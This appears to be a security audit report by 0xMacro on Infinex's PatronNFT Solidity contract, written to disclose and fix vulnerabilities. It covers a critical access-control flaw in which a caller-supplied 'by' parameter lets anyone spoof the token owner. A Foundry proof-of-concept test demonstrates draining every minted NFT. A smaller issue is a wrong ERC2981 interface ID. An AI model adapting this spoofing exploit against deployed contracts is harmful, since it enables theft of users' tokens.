Security Audit
September 24, 2024
Version 1.0.0
Presented by 0xMacro
This document includes the results of the security audit for Infinex's smart contract code as found in the section titled ‘Source Code’. The security audit was performed by the Macro security team from September 12th to September 19th, 2024.
The purpose of this audit is to review the source code of certain Infinex Solidity contracts, and provide feedback on the design, architecture, and quality of the source code with an emphasis on validating the correctness and security of the software in its entirety.
Disclaimer: While Macro’s review is comprehensive and has surfaced some changes that should be made to the source code, this audit should not solely be relied upon for security, as no single audit is guaranteed to catch all possible bugs.
The following is an aggregation of issues found by the Macro Audit team:
Severity | Count | Acknowledged | Won't Do | Addressed |
---|---|---|---|---|
Critical | 1 | - | - | 1 |
Medium | 1 | - | - | 1 |
Infinex was quick to respond to these issues.
Our understanding of the specification was based on the following sources:
The following source code was reviewed during the audit:
f1171bb9a93ca1f5ec525420f2663c24edb61bdf
e518351eece0cd66a100fb3ef93012cad2c623fc
338e327ae4abb18b3f1a37e364894625a6ea2778
Specifically, we audited the following contracts within this repository:
Source Code | SHA256 |
---|---|
infinex-contracts/src/patron/PatronNFT.sol |
|
infinex-contracts/lib/ERC721A/contracts/ERC721A.sol |
|
Note: This document contains an audit solely of the Solidity contracts listed above. Specifically, the audit pertains only to the contracts themselves, and does not pertain to any other programs or scripts, including deployment scripts.
Click on an issue to jump to it, or scroll down to see them all.
We quantify issues in three parts:
This third part – the severity level – is a summary of how much consideration the client should give to fixing the issue. We assign severity according to the table of guidelines below:
Severity | Description |
---|---|
(C-x) Critical |
We recommend the client must fix the issue, no matter what, because not fixing would mean significant funds/assets WILL be lost. |
(H-x) High |
We recommend the client must address the issue, no matter what, because not fixing would be very bad, or some funds/assets will be lost, or the code’s behavior is against the provided spec. |
(M-x) Medium |
We recommend the client to seriously consider fixing the issue, as the implications of not fixing the issue are severe enough to impact the project significantly, albiet not in an existential manner. |
(L-x) Low |
The risk is small, unlikely, or may not relevant to the project in a meaningful way. Whether or not the project wants to develop a fix is up to the goals and needs of the project. |
(Q-x) Code Quality |
The issue identified does not pose any obvious risk, but fixing could improve overall code quality, on-chain composability, developer ergonomics, or even certain aspects of protocol design. |
(I-x) Informational |
Warnings and things to keep in mind when operating the protocol. No immediate action required. |
(G-x) Gas Optimizations |
The presented optimization suggestion would save an amount of gas significant enough, in our opinion, to be worth the development cost of implementing it. |
In PatronNFT.sol, it inherits ERC721A and its ERC721ABatchTransferable extension, which allows for efficient batch transfer of multiple sequential tokens. However, it also adds an additional batchTransferFrom() that differs from the batchTransferFrom() provided by the inherited ERC721ABatchTransferable extension. The key difference in PatronNFT’s version is the addition of the by
parameter, which is intended to be to message sender when passed into the internal _batchTransferFrom() function, which is then used to see if the by
address has permission to transfer the tokens.
In allowing anyone to pass in any address for by
, someone can pass in the actual owner, or an approved address for the tokens being transferred and effectively spoof as that address, allowing them to take anyones PatronNFT tokens.
Remediations to Consider
Remove the additional batchTransferFrom() function, since a proper functioning version is already inherited.
POC
Add the following function to PatronNFT.t.sol, it showcases anyone can steal all nfts
```solidity
function test_canStealAllNfts() public {
address attacker = vm.addr(0xDEAD);
// setup patron nft with same constructor args, recipient will get all nfts
string memory name = "PatronNFT";
string memory symbol = "PNFT";
uint256 mintAmount = 100_000;
uint96 royaltyFeeNumerator = 1000;
uint256 saleAmount = 10_000; // should result in the royalty fee being the same as the numerator
string memory baseTokenURI = "https://patronnft.com/";
address royaltyReceiver;
uint256 calculatedRoyaltyFee;
patronNFT = new PatronNFT("PatronNFT", "PNFT", recipient, recipient, royaltyFeeNumerator, baseTokenURI);
assertEq(patronNFT.balanceOf(recipient), mintAmount);
uint256[] memory tokensToSteal = new uint256[](mintAmount);
for (uint256 i = 0; i < mintAmount; i++) {
tokensToSteal[i] = i;
}
//now the attack is that anyone can set the 'by' param in the batchTransferFrom function, which should actually be the message sender, so setting the owner of the nfts as by, you spoof being the owner
vm.prank(attacker);
patronNFT.batchTransferFrom(recipient, recipient, attacker, tokensToSteal);
// attacker has stolen all nfts
assertEq(patronNFT.balanceOf(attacker), mintAmount);
assertEq(patronNFT.balanceOf(recipient), 0);
}
```
In PatronNFT
contract, there’s supportsInterface()
function, which attempts to support ERC2981 standard:
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC2981, ERC721A, IERC721A) returns (bool) {
// The interface IDs are constants representing the first 4 bytes
// of the XOR of all function selectors in the interface.
// See: [ERC165](https://eips.ethereum.org/EIPS/eip-165)
// (e.g. `bytes4(i.functionA.selector ^ i.functionB.selector ^ ...)`)
return interfaceId == 0x01ffc9a7 // ERC165 interface ID for ERC165.
|| interfaceId == 0x80ac58cd // ERC165 interface ID for ERC721.
|| interfaceId == 0x5b5e139f // ERC165 interface ID for ERC721Metadata.
|| interfaceId == type(ERC2981).interfaceId; // ERC165 interface ID for ERC2981.
}
Reference: PatronNFT.sol#L134-L143
According to the ERC2981 standard, it only included royaltyInfo()
function, which makes the standard’s interfaceId
equal to royaltyInfo.selector == 0x2a55205a
In PatronNFT, ERC2981 is imported from OpenZeppelin library, which has its own supportsInterface
function and is not defined in the ERC2981 standard, hence its interfaceId
is equal to royaltyInfo.selector ^ supportsInterface.selector == 0x2a55205a ^ 0x01ffc9a7 == 0x2baae9fd
As a result, PatronNFT supports the wrong interfaceId
Remediations to Consider
Properly support ERC2981 with interfaceId
is 0x2a55205a
:
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC2981, ERC721A, IERC721A) returns (bool) {
// The interface IDs are constants representing the first 4 bytes
// of the XOR of all function selectors in the interface.
// See: [ERC165](https://eips.ethereum.org/EIPS/eip-165)
// (e.g. `bytes4(i.functionA.selector ^ i.functionB.selector ^ ...)`)
return interfaceId == 0x01ffc9a7 // ERC165 interface ID for ERC165.
|| interfaceId == 0x80ac58cd // ERC165 interface ID for ERC721.
|| interfaceId == 0x5b5e139f // ERC165 interface ID for ERC721Metadata.
- || interfaceId == type(ERC2981).interfaceId; // ERC165 interface ID for ERC2981.
+ || interfaceId == 0x2a55205a; // ERC165 interface ID for ERC2981.
}
Macro makes no warranties, either express, implied, statutory, or otherwise, with respect to the services or deliverables provided in this report, and Macro specifically disclaims all implied warranties of merchantability, fitness for a particular purpose, noninfringement and those arising from a course of dealing, usage or trade with respect thereto, and all such warranties are hereby excluded to the fullest extent permitted by law.
Macro will not be liable for any lost profits, business, contracts, revenue, goodwill, production, anticipated savings, loss of data, or costs of procurement of substitute goods or services or for any claim or demand by any other party. In no event will Macro be liable for consequential, incidental, special, indirect, or exemplary damages arising out of this agreement or any work statement, however caused and (to the fullest extent permitted by law) under any theory of liability (including negligence), even if Macro has been advised of the possibility of such damages.
The scope of this report and review is limited to a review of only the code presented by the Infinex team and only the source code Macro notes as being within the scope of Macro’s review within this report. This report does not include an audit of the deployment scripts used to deploy the Solidity contracts in the repository corresponding to this audit. Specifically, for the avoidance of doubt, this report does not constitute investment advice, is not intended to be relied upon as investment advice, is not an endorsement of this project or team, and it is not a guarantee as to the absolute security of the project. In this report you may through hypertext or other computer links, gain access to websites operated by persons other than Macro. Such hyperlinks are provided for your reference and convenience only, and are the exclusive responsibility of such websites’ owners. You agree that Macro is not responsible for the content or operation of such websites, and that Macro shall have no liability to your or any other person or entity for the use of third party websites. Macro assumes no responsibility for the use of third party software and shall have no liability whatsoever to any person or entity for the accuracy or completeness of any outcome generated by such software.